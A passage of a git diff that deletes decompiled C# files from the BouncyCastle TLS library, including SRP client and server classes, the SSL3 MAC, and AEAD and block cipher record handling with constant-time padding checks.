a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignerInputBuffer.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class SignerInputBuffer : MemoryStream -{ - private class SigStream : BaseOutputStream - { - private readonly ISigner s; - - internal SigStream(ISigner s) - { - this.s = s; - } - - public override void WriteByte(byte b) - { - s.Update(b); - } - - public override void Write(byte[] buf, int off, int len) - { - s.BlockUpdate(buf, off, len); - } - } - - internal void UpdateSigner(ISigner s) - { - Streams.WriteBufTo(this, new SigStream(s)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SimulatedTlsSrpIdentityManager.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SimulatedTlsSrpIdentityManager.cs deleted file mode 100644 index 5e18762..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SimulatedTlsSrpIdentityManager.cs +++ /dev/null @@ -1,50 +0,0 @@ -using Org.BouncyCastle.Crypto.Agreement.Srp; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class SimulatedTlsSrpIdentityManager : TlsSrpIdentityManager -{ - private static readonly byte[] PREFIX_PASSWORD = Strings.ToByteArray("password"); - - private static readonly byte[] PREFIX_SALT = Strings.ToByteArray("salt"); - - protected readonly Srp6GroupParameters mGroup; - - protected readonly Srp6VerifierGenerator mVerifierGenerator; - - protected readonly IMac mMac; - - public static SimulatedTlsSrpIdentityManager GetRfc5054Default(Srp6GroupParameters group, byte[] seedKey) - { - Srp6VerifierGenerator srp6VerifierGenerator = new Srp6VerifierGenerator(); - srp6VerifierGenerator.Init(group, TlsUtilities.CreateHash(2)); - HMac hMac = new HMac(TlsUtilities.CreateHash(2)); - hMac.Init(new KeyParameter(seedKey)); - return new SimulatedTlsSrpIdentityManager(group, srp6VerifierGenerator, hMac); - } - - public SimulatedTlsSrpIdentityManager(Srp6GroupParameters group, Srp6VerifierGenerator verifierGenerator, IMac mac) - { - mGroup = group; - mVerifierGenerator = verifierGenerator; - mMac = mac; - } - - public virtual TlsSrpLoginParameters GetLoginParameters(byte[] identity) - { - mMac.BlockUpdate(PREFIX_SALT, 0, PREFIX_SALT.Length); - mMac.BlockUpdate(identity, 0, identity.Length); - byte[] array = new byte[mMac.GetMacSize()]; - mMac.DoFinal(array, 0); - mMac.BlockUpdate(PREFIX_PASSWORD, 0, PREFIX_PASSWORD.Length); - mMac.BlockUpdate(identity, 0, identity.Length); - byte[] array2 = new byte[mMac.GetMacSize()]; - mMac.DoFinal(array2, 0); - BigInteger verifier = mVerifierGenerator.GenerateVerifier(array, identity, array2); - return new TlsSrpLoginParameters(mGroup, verifier, array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsClient.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsClient.cs deleted file mode 100644 index 18b7a44..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsClient.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class SrpTlsClient : AbstractTlsClient -{ - protected TlsSrpGroupVerifier mGroupVerifier; - - protected byte[] mIdentity; - - protected byte[] mPassword; - - protected virtual bool RequireSrpServerExtension => false; - - public SrpTlsClient(byte[] identity, byte[] password) - : this(new DefaultTlsCipherFactory(), new DefaultTlsSrpGroupVerifier(), identity, password) - { - } - - public SrpTlsClient(TlsCipherFactory cipherFactory, byte[] identity, byte[] password) - : this(cipherFactory, new DefaultTlsSrpGroupVerifier(), identity, password) - { - } - - public SrpTlsClient(TlsCipherFactory cipherFactory, TlsSrpGroupVerifier groupVerifier, byte[] identity, byte[] password) - : base(cipherFactory) - { - mGroupVerifier = groupVerifier; - mIdentity = Arrays.Clone(identity); - mPassword = Arrays.Clone(password); - } - - public override int[] GetCipherSuites() - { - return new int[1] { 49182 }; - } - - public override IDictionary GetClientExtensions() - { - IDictionary dictionary = TlsExtensionsUtilities.EnsureExtensionsInitialised(base.GetClientExtensions()); - TlsSrpUtilities.AddSrpExtension(dictionary, mIdentity); - return dictionary; - } - - public override void ProcessServerExtensions(IDictionary serverExtensions) - { - if (!TlsUtilities.HasExpectedEmptyExtensionData(serverExtensions, 12, 47) && RequireSrpServerExtension) - { - throw new TlsFatalAlert(47); - } - base.ProcessServerExtensions(serverExtensions); - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 21: - case 22: - case 23: - return CreateSrpKeyExchange(keyExchangeAlgorithm); - default: - throw new TlsFatalAlert(80); - } - } - - public override TlsAuthentication GetAuthentication() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsKeyExchange CreateSrpKeyExchange(int keyExchange) - { - return new TlsSrpKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mGroupVerifier, mIdentity, mPassword); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsServer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsServer.cs deleted file mode 100644 index 666e653..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrpTlsServer.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class SrpTlsServer : AbstractTlsServer -{ - protected TlsSrpIdentityManager mSrpIdentityManager; - - protected byte[] mSrpIdentity = null; - - protected TlsSrpLoginParameters mLoginParameters = null; - - public SrpTlsServer(TlsSrpIdentityManager srpIdentityManager) - : this(new DefaultTlsCipherFactory(), srpIdentityManager) - { - } - - public SrpTlsServer(TlsCipherFactory cipherFactory, TlsSrpIdentityManager srpIdentityManager) - : base(cipherFactory) - { - mSrpIdentityManager = srpIdentityManager; - } - - protected virtual TlsSignerCredentials GetDsaSignerCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsSignerCredentials GetRsaSignerCredentials() - { - throw new TlsFatalAlert(80); - } - - protected override int[] GetCipherSuites() - { - return new int[6] { 49186, 49183, 49185, 49182, 49184, 49181 }; - } - - public override void ProcessClientExtensions(IDictionary clientExtensions) - { - base.ProcessClientExtensions(clientExtensions); - mSrpIdentity = TlsSrpUtilities.GetSrpExtension(clientExtensions); - } - - public override int GetSelectedCipherSuite() - { - int selectedCipherSuite = base.GetSelectedCipherSuite(); - if (TlsSrpUtilities.IsSrpCipherSuite(selectedCipherSuite)) - { - if (mSrpIdentity != null) - { - mLoginParameters = mSrpIdentityManager.GetLoginParameters(mSrpIdentity); - } - if (mLoginParameters == null) - { - throw new TlsFatalAlert(115); - } - } - return selectedCipherSuite; - } - - public override TlsCredentials GetCredentials() - { - return TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite) switch - { - 21 => null, - 22 => GetDsaSignerCredentials(), - 23 => GetRsaSignerCredentials(), - _ => throw new TlsFatalAlert(80), - }; - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 21: - case 22: - case 23: - return CreateSrpKeyExchange(keyExchangeAlgorithm); - default: - throw new TlsFatalAlert(80); - } - } - - protected virtual TlsKeyExchange CreateSrpKeyExchange(int keyExchange) - { - return new TlsSrpKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mSrpIdentity, mLoginParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrtpProtectionProfile.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrtpProtectionProfile.cs deleted file mode 100644 index a782c0e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SrtpProtectionProfile.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class SrtpProtectionProfile -{ - public const int SRTP_AES128_CM_HMAC_SHA1_80 = 1; - - public const int SRTP_AES128_CM_HMAC_SHA1_32 = 2; - - public const int SRTP_NULL_HMAC_SHA1_80 = 5; - - public const int SRTP_NULL_HMAC_SHA1_32 = 6; - - public const int SRTP_AEAD_AES_128_GCM = 7; - - public const int SRTP_AEAD_AES_256_GCM = 8; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Ssl3Mac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Ssl3Mac.cs deleted file mode 100644 index 06b16d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/Ssl3Mac.cs +++ /dev/null @@ -1,83 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class Ssl3Mac : IMac -{ - private const byte IPAD_BYTE = 54; - - private const byte OPAD_BYTE = 92; - - internal static readonly byte[] IPAD = GenPad(54, 48); - - internal static readonly byte[] OPAD = GenPad(92, 48); - - private readonly IDigest digest; - - private readonly int padLength; - - private byte[] secret; - - public virtual string AlgorithmName => digest.AlgorithmName + "/SSL3MAC"; - - public Ssl3Mac(IDigest digest) - { - this.digest = digest; - if (digest.GetDigestSize() == 20) - { - padLength = 40; - } - else - { - padLength = 48; - } - } - - public virtual void Init(ICipherParameters parameters) - { - secret = Arrays.Clone(((KeyParameter)parameters).GetKey()); - Reset(); - } - - public virtual int GetMacSize() - { - return digest.GetDigestSize(); - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - digest.BlockUpdate(input, inOff, len); - } - - public virtual int DoFinal(byte[] output, int outOff) - { - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - digest.BlockUpdate(secret, 0, secret.Length); - digest.BlockUpdate(OPAD, 0, padLength); - digest.BlockUpdate(array, 0, array.Length); - int result = digest.DoFinal(output, outOff); - Reset(); - return result; - } - - public virtual void Reset() - { - digest.Reset(); - digest.BlockUpdate(secret, 0, secret.Length); - digest.BlockUpdate(IPAD, 0, padLength); - } - - private static byte[] GenPad(byte b, int count) - { - byte[] array = new byte[count]; - Arrays.Fill(array, b); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataEntry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataEntry.cs deleted file mode 100644 index f691ecf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataEntry.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public class SupplementalDataEntry -{ - protected readonly int mDataType; - - protected readonly byte[] mData; - - public virtual int DataType => mDataType; - - public virtual byte[] Data => mData; - - public SupplementalDataEntry(int dataType, byte[] data) - { - mDataType = dataType; - mData = data; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataType.cs deleted file mode 100644 index b6613f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SupplementalDataType.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class SupplementalDataType -{ - public const int user_mapping_data = 0; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAeadCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAeadCipher.cs deleted file mode 100644 index ac795f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAeadCipher.cs +++ /dev/null @@ -1,216 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsAeadCipher : TlsCipher -{ - public const int NONCE_RFC5288 = 1; - - internal const int NONCE_DRAFT_CHACHA20_POLY1305 = 2; - - protected readonly TlsContext context; - - protected readonly int macSize; - - protected readonly int record_iv_length; - - protected readonly IAeadBlockCipher encryptCipher; - - protected readonly IAeadBlockCipher decryptCipher; - - protected readonly byte[] encryptImplicitNonce; - - protected readonly byte[] decryptImplicitNonce; - - protected readonly int nonceMode; - - public TlsAeadCipher(TlsContext context, IAeadBlockCipher clientWriteCipher, IAeadBlockCipher serverWriteCipher, int cipherKeySize, int macSize) - : this(context, clientWriteCipher, serverWriteCipher, cipherKeySize, macSize, 1) - { - } - - internal TlsAeadCipher(TlsContext context, IAeadBlockCipher clientWriteCipher, IAeadBlockCipher serverWriteCipher, int cipherKeySize, int macSize, int nonceMode) - { - if (!TlsUtilities.IsTlsV12(context)) - { - throw new TlsFatalAlert(80); - } - this.nonceMode = nonceMode; - int num; - switch (nonceMode) - { - case 1: - num = 4; - record_iv_length = 8; - break; - case 2: - num = 12; - record_iv_length = 0; - break; - default: - throw new TlsFatalAlert(80); - } - this.context = context; - this.macSize = macSize; - int num2 = 2 * cipherKeySize + 2 * num; - byte[] array = TlsUtilities.CalculateKeyBlock(context, num2); - int num3 = 0; - KeyParameter keyParameter = new KeyParameter(array, num3, cipherKeySize); - num3 += cipherKeySize; - KeyParameter keyParameter2 = new KeyParameter(array, num3, cipherKeySize); - num3 += cipherKeySize; - byte[] array2 = Arrays.CopyOfRange(array, num3, num3 + num); - num3 += num; - byte[] array3 = Arrays.CopyOfRange(array, num3, num3 + num); - num3 += num; - if (num3 != num2) - { - throw new TlsFatalAlert(80); - } - KeyParameter key; - KeyParameter key2; - if (context.IsServer) - { - encryptCipher = serverWriteCipher; - decryptCipher = clientWriteCipher; - encryptImplicitNonce = array3; - decryptImplicitNonce = array2; - key = keyParameter2; - key2 = keyParameter; - } - else - { - encryptCipher = clientWriteCipher; - decryptCipher = serverWriteCipher; - encryptImplicitNonce = array2; - decryptImplicitNonce = array3; - key = keyParameter; - key2 = keyParameter2; - } - byte[] nonce = new byte[num + record_iv_length]; - encryptCipher.Init(forEncryption: true, new AeadParameters(key, 8 * macSize, nonce)); - decryptCipher.Init(forEncryption: false, new AeadParameters(key2, 8 * macSize, nonce)); - } - - public virtual int GetPlaintextLimit(int ciphertextLimit) - { - return ciphertextLimit - macSize - record_iv_length; - } - - public virtual byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len) - { - byte[] array = new byte[encryptImplicitNonce.Length + record_iv_length]; - switch (nonceMode) - { - case 1: - Array.Copy(encryptImplicitNonce, 0, array, 0, encryptImplicitNonce.Length); - TlsUtilities.WriteUint64(seqNo, array, encryptImplicitNonce.Length); - break; - case 2: - { - TlsUtilities.WriteUint64(seqNo, array, array.Length - 8); - for (int i = 0; i < encryptImplicitNonce.Length; i++) - { - byte[] array3; - byte[] array2 = (array3 = array); - int num = i; - nint num2 = num; - array2[num] = (byte)(array3[num2] ^ encryptImplicitNonce[i]); - } - break; - } - default: - throw new TlsFatalAlert(80); - } - int outputSize = encryptCipher.GetOutputSize(len); - byte[] array4 = new byte[record_iv_length + outputSize]; - if (record_iv_length != 0) - { - Array.Copy(array, array.Length - record_iv_length, array4, 0, record_iv_length); - } - int num3 = record_iv_length; - byte[] additionalData = GetAdditionalData(seqNo, type, len); - AeadParameters parameters = new AeadParameters(null, 8 * macSize, array, additionalData); - try - { - encryptCipher.Init(forEncryption: true, parameters); - num3 += encryptCipher.ProcessBytes(plaintext, offset, len, array4, num3); - num3 += encryptCipher.DoFinal(array4, num3); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(80, alertCause); - } - if (num3 != array4.Length) - { - throw new TlsFatalAlert(80); - } - return array4; - } - - public virtual byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len) - { - if (GetPlaintextLimit(len) < 0) - { - throw new TlsFatalAlert(50); - } - byte[] array = new byte[decryptImplicitNonce.Length + record_iv_length]; - switch (nonceMode) - { - case 1: - Array.Copy(decryptImplicitNonce, 0, array, 0, decryptImplicitNonce.Length); - Array.Copy(ciphertext, offset, array, array.Length - record_iv_length, record_iv_length); - break; - case 2: - { - TlsUtilities.WriteUint64(seqNo, array, array.Length - 8); - for (int i = 0; i < decryptImplicitNonce.Length; i++) - { - byte[] array3; - byte[] array2 = (array3 = array); - int num = i; - nint num2 = num; - array2[num] = (byte)(array3[num2] ^ decryptImplicitNonce[i]); - } - break; - } - default: - throw new TlsFatalAlert(80); - } - int inOff = offset + record_iv_length; - int len2 = len - record_iv_length; - int outputSize = decryptCipher.GetOutputSize(len2); - byte[] array4 = new byte[outputSize]; - int num3 = 0; - byte[] additionalData = GetAdditionalData(seqNo, type, outputSize); - AeadParameters parameters = new AeadParameters(null, 8 * macSize, array, additionalData); - try - { - decryptCipher.Init(forEncryption: false, parameters); - num3 += decryptCipher.ProcessBytes(ciphertext, inOff, len2, array4, num3); - num3 += decryptCipher.DoFinal(array4, num3); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(20, alertCause); - } - if (num3 != array4.Length) - { - throw new TlsFatalAlert(80); - } - return array4; - } - - protected virtual byte[] GetAdditionalData(long seqNo, byte type, int len) - { - byte[] array = new byte[13]; - TlsUtilities.WriteUint64(seqNo, array, 0); - TlsUtilities.WriteUint8(type, array, 8); - TlsUtilities.WriteVersion(context.ServerVersion, array, 9); - TlsUtilities.WriteUint16(len, array, 11); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAgreementCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAgreementCredentials.cs deleted file mode 100644 index eade005..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAgreementCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsAgreementCredentials : TlsCredentials -{ - byte[] GenerateAgreement(AsymmetricKeyParameter peerPublicKey); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAuthentication.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAuthentication.cs deleted file mode 100644 index 30e67f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsAuthentication.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsAuthentication -{ - void NotifyServerCertificate(Certificate serverCertificate); - - TlsCredentials GetClientCredentials(CertificateRequest certificateRequest); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsBlockCipher.cs deleted file mode 100644 index b309328..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsBlockCipher.cs +++ /dev/null @@ -1,294 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsBlockCipher : TlsCipher -{ - protected readonly TlsContext context; - - protected readonly byte[] randomData; - - protected readonly bool useExplicitIV; - - protected readonly bool encryptThenMac; - - protected readonly IBlockCipher encryptCipher; - - protected readonly IBlockCipher decryptCipher; - - protected readonly TlsMac mWriteMac; - - protected readonly TlsMac mReadMac; - - public virtual TlsMac WriteMac => mWriteMac; - - public virtual TlsMac ReadMac => mReadMac; - - public TlsBlockCipher(TlsContext context, IBlockCipher clientWriteCipher, IBlockCipher serverWriteCipher, IDigest clientWriteDigest, IDigest serverWriteDigest, int cipherKeySize) - { - this.context = context; - randomData = new byte[256]; - context.NonceRandomGenerator.NextBytes(randomData); - useExplicitIV = TlsUtilities.IsTlsV11(context); - encryptThenMac = context.SecurityParameters.encryptThenMac; - int num = 2 * cipherKeySize + clientWriteDigest.GetDigestSize() + serverWriteDigest.GetDigestSize(); - if (!useExplicitIV) - { - num += clientWriteCipher.GetBlockSize() + serverWriteCipher.GetBlockSize(); - } - byte[] array = TlsUtilities.CalculateKeyBlock(context, num); - int num2 = 0; - TlsMac tlsMac = new TlsMac(context, clientWriteDigest, array, num2, clientWriteDigest.GetDigestSize()); - num2 += clientWriteDigest.GetDigestSize(); - TlsMac tlsMac2 = new TlsMac(context, serverWriteDigest, array, num2, serverWriteDigest.GetDigestSize()); - num2 += serverWriteDigest.GetDigestSize(); - KeyParameter parameters = new KeyParameter(array, num2, cipherKeySize); - num2 += cipherKeySize; - KeyParameter parameters2 = new KeyParameter(array, num2, cipherKeySize); - num2 += cipherKeySize; - byte[] iv; - byte[] iv2; - if (useExplicitIV) - { - iv = new byte[clientWriteCipher.GetBlockSize()]; - iv2 = new byte[serverWriteCipher.GetBlockSize()]; - } - else - { - iv = Arrays.CopyOfRange(array, num2, num2 + clientWriteCipher.GetBlockSize()); - num2 += clientWriteCipher.GetBlockSize(); - iv2 = Arrays.CopyOfRange(array, num2, num2 + serverWriteCipher.GetBlockSize()); - num2 += serverWriteCipher.GetBlockSize(); - } - if (num2 != num) - { - throw new TlsFatalAlert(80); - } - ICipherParameters parameters3; - ICipherParameters parameters4; - if (context.IsServer) - { - mWriteMac = tlsMac2; - mReadMac = tlsMac; - encryptCipher = serverWriteCipher; - decryptCipher = clientWriteCipher; - parameters3 = new ParametersWithIV(parameters2, iv2); - parameters4 = new ParametersWithIV(parameters, iv); - } - else - { - mWriteMac = tlsMac; - mReadMac = tlsMac2; - encryptCipher = clientWriteCipher; - decryptCipher = serverWriteCipher; - parameters3 = new ParametersWithIV(parameters, iv); - parameters4 = new ParametersWithIV(parameters2, iv2); - } - encryptCipher.Init(forEncryption: true, parameters3); - decryptCipher.Init(forEncryption: false, parameters4); - } - - public virtual int GetPlaintextLimit(int ciphertextLimit) - { - int blockSize = encryptCipher.GetBlockSize(); - int size = mWriteMac.Size; - int num = ciphertextLimit; - if (useExplicitIV) - { - num -= blockSize; - } - if (encryptThenMac) - { - num -= size; - num -= num % blockSize; - } - else - { - num -= num % blockSize; - num -= size; - } - return num - 1; - } - - public virtual byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len) - { - int blockSize = encryptCipher.GetBlockSize(); - int size = mWriteMac.Size; - ProtocolVersion serverVersion = context.ServerVersion; - int num = len; - if (!encryptThenMac) - { - num += size; - } - int num2 = blockSize - 1 - num % blockSize; - if ((encryptThenMac || !context.SecurityParameters.truncatedHMac) && !serverVersion.IsDtls && !serverVersion.IsSsl) - { - int max = (255 - num2) / blockSize; - int num3 = ChooseExtraPadBlocks(context.SecureRandom, max); - num2 += num3 * blockSize; - } - int num4 = len + size + num2 + 1; - if (useExplicitIV) - { - num4 += blockSize; - } - byte[] array = new byte[num4]; - int num5 = 0; - if (useExplicitIV) - { - byte[] array2 = new byte[blockSize]; - context.NonceRandomGenerator.NextBytes(array2); - encryptCipher.Init(forEncryption: true, new ParametersWithIV(null, array2)); - Array.Copy(array2, 0, array, num5, blockSize); - num5 += blockSize; - } - int num6 = num5; - Array.Copy(plaintext, offset, array, num5, len); - num5 += len; - if (!encryptThenMac) - { - byte[] array3 = mWriteMac.CalculateMac(seqNo, type, plaintext, offset, len); - Array.Copy(array3, 0, array, num5, array3.Length); - num5 += array3.Length; - } - for (int i = 0; i <= num2; i++) - { - array[num5++] = (byte)num2; - } - for (int j = num6; j < num5; j += blockSize) - { - encryptCipher.ProcessBlock(array, j, array, j); - } - if (encryptThenMac) - { - byte[] array4 = mWriteMac.CalculateMac(seqNo, type, array, 0, num5); - Array.Copy(array4, 0, array, num5, array4.Length); - num5 += array4.Length; - } - return array; - } - - public virtual byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len) - { - int blockSize = decryptCipher.GetBlockSize(); - int size = mReadMac.Size; - int num = blockSize; - num = ((!encryptThenMac) ? System.Math.Max(num, size + 1) : (num + size)); - if (useExplicitIV) - { - num += blockSize; - } - if (len < num) - { - throw new TlsFatalAlert(50); - } - int num2 = len; - if (encryptThenMac) - { - num2 -= size; - } - if (num2 % blockSize != 0) - { - throw new TlsFatalAlert(21); - } - if (encryptThenMac) - { - int num3 = offset + len; - byte[] b = Arrays.CopyOfRange(ciphertext, num3 - size, num3); - byte[] a = mReadMac.CalculateMac(seqNo, type, ciphertext, offset, len - size); - if (!Arrays.ConstantTimeAreEqual(a, b)) - { - throw new TlsFatalAlert(20); - } - } - if (useExplicitIV) - { - decryptCipher.Init(forEncryption: false, new ParametersWithIV(null, ciphertext, offset, blockSize)); - offset += blockSize; - num2 -= blockSize; - } - for (int i = 0; i < num2; i += blockSize) - { - decryptCipher.ProcessBlock(ciphertext, offset + i, ciphertext, offset + i); - } - int num4 = CheckPaddingConstantTime(ciphertext, offset, num2, blockSize, (!encryptThenMac) ? size : 0); - bool flag = num4 == 0; - int num5 = num2 - num4; - if (!encryptThenMac) - { - num5 -= size; - int num6 = num5; - int num7 = offset + num6; - byte[] b2 = Arrays.CopyOfRange(ciphertext, num7, num7 + size); - byte[] a2 = mReadMac.CalculateMacConstantTime(seqNo, type, ciphertext, offset, num6, num2 - size, randomData); - flag |= !Arrays.ConstantTimeAreEqual(a2, b2); - } - if (flag) - { - throw new TlsFatalAlert(20); - } - return Arrays.CopyOfRange(ciphertext, offset, offset + num5); - } - - protected virtual int CheckPaddingConstantTime(byte[] buf, int off, int len, int blockSize, int macSize) - { - int num = off + len; - byte b = buf[num - 1]; - int num2 = b & 0xFF; - int num3 = num2 + 1; - int num4 = 0; - byte b2 = 0; - if ((TlsUtilities.IsSsl(context) && num3 > blockSize) || macSize + num3 > len) - { - num3 = 0; - } - else - { - int num5 = num - num3; - do - { - b2 |= (byte)(buf[num5++] ^ b); - } - while (num5 < num); - num4 = num3; - if (b2 != 0) - { - num3 = 0; - } - } - byte[] array = randomData; - while (num4 < 256) - { - b2 |= (byte)(array[num4++] ^ b); - } - byte[] array2; - (array2 = array)[0] = (byte)(array2[0] ^ b2); - return num3; - } - - protected virtual int ChooseExtraPadBlocks(SecureRandom r, int max) - { - int x = r.NextInt(); - int val = LowestBitSet(x); - return System.Math.Min(val, max); - } - - protected virtual int LowestBitSet(int x) - { - if (x == 0) - { - return 32; - } - uint num = (uint)x; - int num2 = 0; - while ((num & 1) == 0) - { - num2++; - num >>= 1; - } - return num2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipher.cs deleted file mode 100644 index a5f05ec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipher.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsCipher -{ - int GetPlaintextLimit(int ciphertextLimit); - - byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len); - - byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipherFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipherFactory.cs deleted file mode 100644 index 97b5b3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsCipherFactory.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsCipherFactory -{ - TlsCipher CreateCipher(TlsContext context, int encryptionAlgorithm, int macAlgorithm); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClient.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClient.cs deleted file mode 100644 index 9c08d84..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsClient.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsClient : TlsPeer -{ - ProtocolVersion ClientHelloRecordLayerVersion { get; } - - ProtocolVersion ClientVersion { get; } - - bool IsFallback { get; } - - void Init(TlsClientContext context); - - TlsSession GetSessionToResume(); - - int[] GetCipherSuites(); - - byte[] GetCompressionMethods(); - - IDictionary GetClientExtensions(); - - void NotifyServerVersion(ProtocolVersion selectedVersion); - - void NotifySessionID(byte[] sessionID); - - void NotifySelectedCipherSuite(int selectedCipherSuite); - - void NotifySelectedCompressionMethod(byte selectedCompressionMethod); - - void ProcessServerExtensions(IDictionary serverExtensions); - - 